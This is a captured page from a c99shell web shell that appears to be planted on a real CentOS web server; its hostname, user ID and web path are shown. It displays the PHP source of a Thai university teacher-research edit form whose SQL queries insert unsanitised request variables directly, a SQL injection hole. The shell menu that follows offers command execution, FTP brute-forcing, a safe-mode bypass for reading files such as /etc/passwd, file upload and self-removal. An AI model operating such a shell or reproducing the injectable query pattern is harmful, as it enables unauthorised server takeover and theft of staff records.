!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/teacher/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FrmEditResearch_bkp.php (30.32 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();

if (
session_is_registered("valid_user") && session_is_registered("Priority") )  {
include(
"../include/FunctionDB.php");
include(
"../include/Function.php");
include(
"admin_menu.php");

ConnectDB();

$Username $valid_user;
$sql "SELECT * FROM research_tb  Where Teacher_code= '$Teacher_code' and Research_code='$Research_code'";
$result mysql_query($sql) or die("Cannot Select").mysql_error();
$rs mysql_fetch_array($result);

$sql2 "SELECT * FROM personal_tb Where Teacher_code='$Teacher_code'";
$result2mysql_query($sql2) or die("Cannot Select").mysql_error();
$rs2 mysql_fetch_array($result2);

?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<style type="text/css">
<!--
.style15 {
    font-size: 14px;
    font-weight: bold;
}
-->
</style>
<table width="740" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td><br><fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="menu_teacher.php " >หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="AddResearch.php?Teacher_code=<? echo $rs2[Teacher_code?>">เพิ่มข้อมูลงานวิจัยส่วนบุคคล</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="EditResearchList.php?Teacher_code=<? echo $rs2[Teacher_code?>">แก้ไขข้อมูลงานวิจัยรายบุคคล</a><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>">ข้อมูลงานวิจัยส่วนบุคคลรายปี</a></font></legend>
            <label><div align="center">
              <form id="form1" name="form1" method="post" action="EditResearch.php">
                <table width="82%" border="0" align="center" cellpadding="0" cellspacing="0" style="background-color:#eeeeee; border:0px solid gray"size="12">
                  <tr>
                    <td height="28" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></td>
                  </tr>
                  <tr>
                    <td height="28" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  
                  <tr>
                    <td height="43" ><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#CCCCCC" bgcolor="#DBDBDB">
                      
                      <tr bgcolor="#FFCC99">
                        <td colspan="3" bgcolor="#FFFFFF"><div align="center"><font color="#993333" face="Tahoma"><span class="style15"><font color="#FF0000">แก้ไข</font> <font color="#000000"> ประวัติผลงานวิจัย</font></span></font></div></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="22" bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ชื่อ-นามสกุล </font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF">&nbsp;<font color="#003366" size="2" face="Tahoma"><strong><? echo $rs2[First_name] ;?>&nbsp;<? echo $rs2[Teacher_name] ;?>&nbsp;<? echo $rs2[Teacher_lastname] ;?> </strong></font></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td width="26%" height="22" bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">สาขาวิชา</font></div></td>
                        <td width="2%" bgcolor="#FFFFFF">&nbsp;</td>
                        <td width="72%" bgcolor="#FFFFFF"><input name="Branch" type="text" class="input1" id="Branch" value="<? echo $rs[Branch]?>" size="30" /></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ชื่อผลงานวิจัย</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><input name="Research_name" type="text" class="input1" value="<? echo $rs[Research_name]?>" size="50"></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ประเภทผลงานวิจัย</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><input name="Research_type" type="text" class="input1" id="Research_type" value="<? echo $rs[Research_type]?>" size="50"></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ลักษณะผลงานวิจัย</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                          <input type="radio" name="Research_char" <?php if (!(strcmp("$rs[Research_char]","00001"))) {echo "checked";} ?> value="00001" />
                          คลีนิค
                          <input type="radio" name="Research_char" <?php if (!(strcmp("$rs[Research_char]","00002"))) {echo "checked";} ?> value="00002" />
                          การเรียนการสอน
                          <input type="radio" name="Research_char" <?php if (!(strcmp("$rs[Research_char]","00003"))) {echo "checked";} ?> value="00003" />
                          ชุมชน
                          <input type="radio" name="Research_char" <?php if (!(strcmp("$rs[Research_char]","00004"))) {echo "checked";} ?> value="00004" />
                          อื่นฯ ระบุ
                          <input name="Research_char_else" type="text" class="input" id="Research_char_else" value="<? echo $rs[Research_char_else]?>" size="30" />
                        </font></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ตำแหน่งการวิจัย</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                          <input type="radio" name="R_position"  <?php if (!(strcmp("$rs[R_position]",หัวหน้าวิจัย))) {echo "checked";} ?> value="หัวหน้าวิจัย" />
                          หัวหน้าวิจัย
                          <input type="radio" name="R_position"  <?php if (!(strcmp("$rs[R_position]",ผู้ร่วมวิจัย))) {echo "checked";} ?> value="ผู้ร่วมวิจัย" />
                          ผู้ร่วมวิจัย</font></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ชื่อผู้ร่วมวิจัยที่1</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><select name="name1" id="Teacher_code" >
                            <?php
          $name1 
$rs[name1];
    if (
$name1 == "00000"//
        
{
        echo
"<option value=\"\"></option>";
        
$sql_2 "SELECT * FROM personal_tb ";
        
$result_2 mysql_query($sql_2);
            while(
$rs_2 mysql_fetch_array($result_2))
             {
                   echo
"<option value=\"$rs_2[Teacher_code]\" ><b>$rs_2[First_name]&nbsp;$rs_2[Teacher_name]&nbsp;$rs_2[Teacher_lastname]</b></option>\n";
            }
        }
        else
        {
        
$sql_1 "Select * From personal_tb Where Teacher_code='$name1' ";
        
$result_1 mysql_query($sql_1) or die("Error $result_1".mysql_error());
        
$sql_2 "Select * From personal_tb ";
        
$result_2 mysql_query($sql_2)or die("Error $result_2".mysql_error());
            while(
$rs_1 mysql_fetch_array($result_1))
             {
                   echo
"<option value=\"$rs_1[Teacher_code]\" ><b>$rs_1[First_name]&nbsp;$rs_1[Teacher_name]&nbsp;$rs_1[Teacher_lastname]</b></option>\n";
                 while( 
$rs_2 mysql_fetch_array($result_2))
                {
                echo
"<option value=\"$rs_2[Teacher_code]\" ><b>$rs_2[First_name]&nbsp;$rs_2[Teacher_name]&nbsp;$rs_2[Teacher_lastname]</b></option>\n";
                }
           }
}
       
?>
                          </select>
                            <font color="#003366" size="2" face="Tahoma">&nbsp; </font> </td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ชื่อผู้ร่วมวิจัยที่2</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><select name="name2" id="Teacher_code">
                            <?php
        $name2 
$rs[name2];
        if (
$name2 == "00000"//
        
{
        echo
"<option value=\"\"></option>";
        
$result_2 mysql_query($sql_2);
            while(
$rs_2 mysql_fetch_array($result_2))
             {
                   echo
"<option value=\"$rs_2[Teacher_code]\" ><b>$rs_2[First_name]&nbsp;$rs_2[Teacher_name]&nbsp;$rs_2[Teacher_lastname]</b></option>\n";
            }
        }
        else
        {
        
$sql_1 "Select * From personal_tb Where Teacher_code='$name2' ";
        
$result_1 mysql_query($sql_1);
        
$sql_2 "Select * From personal_tb";
        
$result_2 mysql_query($sql_2);
            while(
$rs_1 mysql_fetch_array($result_1))
             {
                   echo
"<option value=\"$rs_1[Teacher_code]\" ><b>$rs_1[First_name]&nbsp;$rs_1[Teacher_name]&nbsp;$rs_1[Teacher_lastname]</b></option>\n";
                 while( 
$rs_2 mysql_fetch_array($result_2))
                {
                echo
"<option value=\"$rs_2[Teacher_code]\" ><b>$rs_2[First_name]&nbsp;$rs_2[Teacher_name]&nbsp;$rs_2[Teacher_lastname]</b></option>\n";
                }
           }
    }
       
?>
                        </select></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ชื่อผู้ร่วมวิจัยที่3</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><select name="name3">
                            <?php
        $name3 
$rs[name3];
        if (
$name3 == "00000")
        {
        echo
"<option value=\"\"></option>";
        
$result_2 mysql_query($sql_2);
            while(
$rs_2 mysql_fetch_array($result_2))
             {
                   echo
"<option value=\"$rs_2[Teacher_code]\" ><b>$rs_2[First_name]&nbsp;$rs_2[Teacher_name]&nbsp;$rs_2[Teacher_lastname]</b></option>\n";
            }
        }
        else
        {
        
$sql_1 "Select * From personal_tb Where Teacher_code='$name3' ";
        
$result_1 mysql_query($sql_1);
        
$sql_2 "Select * From personal_tb";
        
$result_2 mysql_query($sql_2);
            while(
$rs_1 mysql_fetch_array($result_1))
             {
                   echo
"<option value=\"$rs_1[Teacher_code]\" ><b>$rs_1[First_name]&nbsp;$rs_1[Teacher_name]&nbsp;$rs_1[Teacher_lastname]</b></option>\n";
                 while( 
$rs_2 mysql_fetch_array($result_2))
                {
                echo
"<option value=\"$rs_2[Teacher_code]\" ><b>$rs_2[First_name]&nbsp;$rs_2[Teacher_name]&nbsp;$rs_2[Teacher_lastname]</b></option>\n";
                }
           }
    }
       
?>
                        </select></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ชื่อผู้ร่วมวิจัยที่4</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><select name="name4">
                            <?php
        $name4 
$rs[name4];
        if (
$name4 == "00000")
        {
        echo
"<option value=\"\"></option>";
        
$sql_2 "Select First_name,Teacher_name,Teacher_lastname From personal_tb";
        
$result_2 mysql_query($sql_2);
            while(
$rs_2 mysql_fetch_array($result_2))
             {
                   echo
"<option value=\"$rs_2[Teacher_code]\" ><b>$rs_2[First_name]&nbsp;$rs_2[Teacher_name]&nbsp;$rs_2[Teacher_lastname]</b></option>\n";
            }
        }
        else
        {
        
$sql_1 "Select * From personal_tb Where Teacher_code='$name4' ";
        
$result_1 mysql_query($sql_1);
        
$sql_2 "Select * From personal_tb";
        
$result_2 mysql_query($sql_2);
            while(
$rs_1 mysql_fetch_array($result_1))
             {
                   echo
"<option value=\"$rs_1[Teacher_code]\" ><b>$rs_1[First_name]&nbsp;$rs_1[Teacher_name]&nbsp;$rs_1[Teacher_lastname]</b></option>\n";
                 while( 
$rs_2 mysql_fetch_array($result_2))
                {
                echo
"<option value=\"$rs_2[Teacher_code]\" ><b>$rs_2[First_name]&nbsp;$rs_2[Teacher_name]&nbsp;$rs_2[Teacher_lastname]</b></option>\n";
                }
           }
    }
       
?>
                        </select></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ชื่อผู้ร่วมวิจัยที่5</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><select name="name5">
                            <?php
        $name5 
$rs[name5];
        if (
$name5 == "00000")
        {
        echo
"<option value=\"\"></option>";
        
$sql_2 "Select First_name,Teacher_name,Teacher_lastname From personal_tb";
        
$result_2 mysql_query($sql_2);
            while(
$rs_2 mysql_fetch_array($result_2))
             {
                   echo
"<option value=\"$rs_2[Teacher_code]\" ><b>$rs_2[First_name]&nbsp;$rs_2[Teacher_name]&nbsp;$rs_2[Teacher_lastname]</b></option>\n";
            }
        }
        else
        {
        
$sql_1 "Select First_name,Teacher_name,Teacher_lastname From personal_tb Where Teacher_code='$name5' ";
        
$result_1 mysql_query($sql_1);
        
$sql_2 "Select First_name,Teacher_name,Teacher_lastname From personal_tb";
        
$result_2 mysql_query($sql_2);
            while(
$rs_1 mysql_fetch_array($result_1))
             {
                   echo
"<option value=\"$rs_1[Teacher_code]\" ><b>$rs_1[First_name]&nbsp;$rs_1[Teacher_name]&nbsp;$rs_1[Teacher_lastname]</b></option>\n";
                 while( 
$rs_2 mysql_fetch_array($result_2))
                {
                echo
"<option value=\"$rs_2[Teacher_code]\" ><b>$rs_2[First_name]&nbsp;$rs_2[Teacher_name]&nbsp;$rs_2[Teacher_lastname]</b></option>\n";
                }
           }
    }
       
?>
                        </select></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ชื่อผู้ร่วมวิจัยที่6</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><select name="name6">
                            <?php
        $name6 
$rs[name6];
        if (
$name6 == "00000")
        {
        echo
"<option value=\"\"></option>";
        
$sql_2 "Select First_name,Teacher_name,Teacher_lastname From personal_tb";
        
$result_2 mysql_query($sql_2);
            while(
$rs_2 mysql_fetch_array($result_2))
             {
                   echo
"<option value=\"$rs_2[Teacher_code]\" ><b>$rs_2[First_name]&nbsp;$rs_2[Teacher_name]&nbsp;$rs_2[Teacher_lastname]</b></option>\n";
            }
        }
        else
        {
        
$sql_1 "Select First_name,Teacher_name,Teacher_lastname From personal_tb Where Teacher_code='$name6' ";
        
$result_1 mysql_query($sql_1);
        
$sql_2 "Select First_name,Teacher_name,Teacher_lastname From personal_tb";
        
$result_2 mysql_query($sql_2);
            while(
$rs_1 mysql_fetch_array($result_1))
             {
                   echo
"<option value=\"$rs_1[Teacher_code]\" ><b>$rs_1[First_name]&nbsp;$rs_1[Teacher_name]&nbsp;$rs_1[Teacher_lastname]</b></option>\n";
                 while( 
$rs_2 mysql_fetch_array($result_2))
                {
                echo
"<option value=\"$rs_2[Teacher_code]\" ><b>$rs_2[First_name]&nbsp;$rs_2[Teacher_name]&nbsp;$rs_2[Teacher_lastname]</b></option>\n";
                }
           }
    }
       
?>
                        </select></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ชื่อผู้ร่วมวิจัยที่7</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><select name="name7">
                            <?php
        $name7 
$rs[name7];
        if (
$name7 == "00000")
        {
        echo
"<option value=\"\"></option>";
        
$sql_2 "Select First_name,Teacher_name,Teacher_lastname From personal_tb";
        
$result_2 mysql_query($sql_2);
            while(
$rs_2 mysql_fetch_array($result_2))
             {
                   echo
"<option value=\"$rs_2[Teacher_code]\" ><b>$rs_2[First_name]&nbsp;$rs_2[Teacher_name]&nbsp;$rs_2[Teacher_lastname]</b></option>\n";
            }
        }
        else
        {
        
$sql_1 "Select First_name,Teacher_name,Teacher_lastname From personal_tb Where Teacher_code='$name7' ";
        
$result_1 mysql_query($sql_1);
        
$sql_2 "Select First_name,Teacher_name,Teacher_lastname From personal_tb";
        
$result_2 mysql_query($sql_2);
            while(
$rs_1 mysql_fetch_array($result_1))
             {
                   echo
"<option value=\"$rs_1[Teacher_code]\" ><b>$rs_1[First_name]&nbsp;$rs_1[Teacher_name]&nbsp;$rs_1[Teacher_lastname]</b></option>\n";
                 while( 
$rs_2 mysql_fetch_array($result_2))
                {
                echo
"<option value=\"$rs_2[Teacher_code]\" ><b>$rs_2[First_name]&nbsp;$rs_2[Teacher_name]&nbsp;$rs_2[Teacher_lastname]</b></option>\n";
                }
           }
    }
       
?>
                        </select></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ชื่อผู้ร่วมวิจัยที่8</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><select name="name8">
                            <?php
        $name8 
$rs[name8];
        if (
$name8 == "00000")
        {
        echo
"<option value=\"\"></option>";
        
$sql_2 "Select First_name,Teacher_name,Teacher_lastname From personal_tb";
        
$result_2 mysql_query($sql_2);
            while(
$rs_2 mysql_fetch_array($result_2))
             {
                   echo
"<option value=\"$rs_2[Teacher_code]\" ><b>$rs_2[First_name]&nbsp;$rs_2[Teacher_name]&nbsp;$rs_2[Teacher_lastname]</b></option>\n";
            }
        }
        else
        {
        
$sql_1 "Select First_name,Teacher_name,Teacher_lastname From personal_tb Where Teacher_code='$name8' ";
        
$result_1 mysql_query($sql_1);
        
$sql_2 "Select First_name,Teacher_name,Teacher_lastname From personal_tb";
        
$result_2 mysql_query($sql_2);
            while(
$rs_1 mysql_fetch_array($result_1))
             {
                   echo
"<option value=\"$rs_1[Teacher_code]\" ><b>$rs_1[First_name]&nbsp;$rs_1[Teacher_name]&nbsp;$rs_1[Teacher_lastname]</b></option>\n";
                 while( 
$rs_2 mysql_fetch_array($result_2))
                {
                echo
"<option value=\"$rs_2[Teacher_code]\" ><b>$rs_2[First_name]&nbsp;$rs_2[Teacher_name]&nbsp;$rs_2[Teacher_lastname]</b></option>\n";
                }
           }
    }
       
?>
                        </select></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ปีที่เริ่มวิจัย</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><font size="2" face="Tahoma">ั</font><font color="#000000" size="2" face="Tahoma">วันที่
                          <select name="mDate" class="select" >
                                <?php
           $Year_start 
$rs[Year_start];
           
$yearthai explode("-",$Year_start);
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
           
?>
                        </select>
                          เดือน
                          <select name="mMonth" class="select"  >
                            <?php
          $Year_start 
$rs[Year_start];
           
$yearthai explode("-",$Year_start);
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
                          </select>
                          ปี พ.ศ.
                          <input name="mYear" type="text" class="input1" id="mYear" value="<? echo $mYear ?>" size="4" maxlength="4" />
                        </font></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ปีที่แล้วเสร็จ </font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma">วันที่
                          <select name="mDate2" class="select" >
                                <?php
           $Year_finish 
$rs[Year_finish];
           
$yearthai explode("-",$Year_finish);
           
$mDate2 =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear2 =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate2\" selected>$mDate2</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
           
?>
                        </select>
                          เดือน
                          <select name="mMonth2"  class="select" >
                            <?php
          $Year_finish 
$rs[Year_finish];
           
$yearthai explode("-",$Year_finish);
           
$mDate=   intval($yearthai[2]);
           
$Month2 =  intval($yearthai[1]);
           
$mYear2=   intval($yearthai[0]);     
           
$mMonth2 $Month2;
          
$CMonth TxtThaiMonth($Month2);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth2\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
                          </select>
                          ปี พ.ศ.
                          <input name="mYear2" type="text" class="input1" id="mYear2" value="<? echo $mYear2 ?>" size="4" maxlength="4" />
                        </font></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">จำนวนเงินทุน</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><input name="Fund" type="text" class="input1" value="<? echo $rs[Fund];?>" size="20">
                            <font color="#000000" size="2" face="Tahoma"> บาท</font> <font size="2" face="Tahoma">&nbsp; </font></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="20" bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">&nbsp;แหล่งเงินทุน</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                          <input type="radio" name="Fund_resource" <?php if (!(strcmp("$rs[Fund_resource]",ภายใน))) {echo "checked";} ?> value="ภายใน" />
                          ภายใน
                          <input type="radio" name="Fund_resource" <?php if (!(strcmp("$rs[Fund_resource]",ภายนอก))) {echo "checked";} ?> value="ภายนอก" />
                          ภายนอก
                          <input name="Resource_des" type="text" class="input1" id="Resource_des" value="<? echo $rs[Resource_des]?>" size="30">
                        </font></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="22" bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">การเผยแพร่</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><input type="radio" name="Propagate" <?php if (!(strcmp("$rs[Propagate]",เผยแพร่))) {echo "checked";} ?> value="เผยแพร่" />
                            <font size="2" face="Tahoma">เผยแพร่
                              <input type="radio" name="Propagate" <?php if (!(strcmp("$rs[Propagate]",ยังไม่เผยแพร่))) {echo "checked";} ?> value="ยังไม่เผยแพร่" />
                              ยังไม่เผยแพร่ </font></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td rowspan="3" bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ลักษณะการเผยแพร่</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                          <input type="radio" name="Prop_type" <?php if (!(strcmp("$rs[Prop_type]",นำเสนอเวทีวิชาการ))) {echo "checked";} ?>  value="นำเสนอเวทีวิชาการ" />
                          นำเสนอเวทีวิชาการ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ระบุ</font>
                            <input name="Prop_type1" type="text" id="Prop_type1" value="<? echo $rs[Prop_type1]?>" size="30" class="input1" /></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                          <input type="radio" name="Prop_type" <?php if (!(strcmp("$rs[Prop_type]",ตีพิมพ์ลงวารสาร))) {echo "checked";} ?> value="ตีพิมพ์ลงวารสาร" />
                          ตีพิมพ์ลงวารสาร &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ระบุ</font>
                            <input name="Prop_type2" type="text" id="Prop_type2" value="<? echo $rs[Prop_type2]?>" size="30" class="input1" />                        </td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                          <input type="radio" name="Prop_type"  <?php if (!(strcmp("$rs[Prop_type]",โปสเตอร์))) {echo "checked";} ?> value="โปสเตอร์" />
                          โปสเตอร์ &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ระบุ</font>
                            <input name="Prop_type3" type="text" id="Prop_type3" value="<? echo $rs[Prop_type3]?>" size="30" /></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td rowspan="4" bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">การนำไปใช้</font></div></td>
                        <td height="20" bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                          <input name="Apply1" type="checkbox" id="Apply1"  <?php if (!(strcmp("$rs[Apply1]",การพัฒนาประเทศ))) {echo "checked";} ?> value="การพัฒนาประเทศ" />
                          การพัฒนาประเทศ</font></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="20" bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                          <input name="Apply2" type="checkbox" id="Apply2"  <?php if (!(strcmp("$rs[Apply2]",การเรียนการสอน))) {echo "checked";} ?> value="การเรียนการสอน" />
                          การเรียนการสอน </font></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="20" bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                          <input name="Apply3" type="checkbox" id="Apply3"  <?php if (!(strcmp("$rs[Apply3]",ระบบสุขภาพ))) {echo "checked";} ?> value="ระบบสุขภาพ" />
                          ระบบสุขภาพ</font></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="20" bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                          <input name="Apply4" type="checkbox" id="Apply4"  <?php if (!(strcmp("$rs[Apply4]",งานวิจัยอื่น))) {echo "checked";} ?> value="งานวิจัยอื่น" />
                          </font> <font size="2" face="Tahoma"> งานวิจัยอื่น ระบุ
                            <input name="Apply_des" type="text" id="Apply_des" value="<? echo $rs[Apply_des]?>" size="30" />
                        </font> </td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ปีที่เผยแพร่</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><input name="Year_prop" type="text" class="input1" id="Year_prop" value="<? echo $rs[Year_prop]?>" size="4" maxlength="4" /></td>
                      </tr>
                      <tr bgcolor="#FFCC99">
                        <td colspan="3" bgcolor="#FFFFFF"><div align="center">
                            <input type="hidden" name="Teacher_code" value="<? echo $rs2[Teacher_code]?>" />
                            <input type="hidden" name="Research_code" value="<? echo $rs[Research_code]?>" />
                            <input type="submit" name="Submit" value="   แก้ไขข้อมูล" />
                        </div></td>
                      </tr>
                    </table></td>
                  </tr>
                </table>
                <br>
              </form>
              </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
        </font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0141 ]--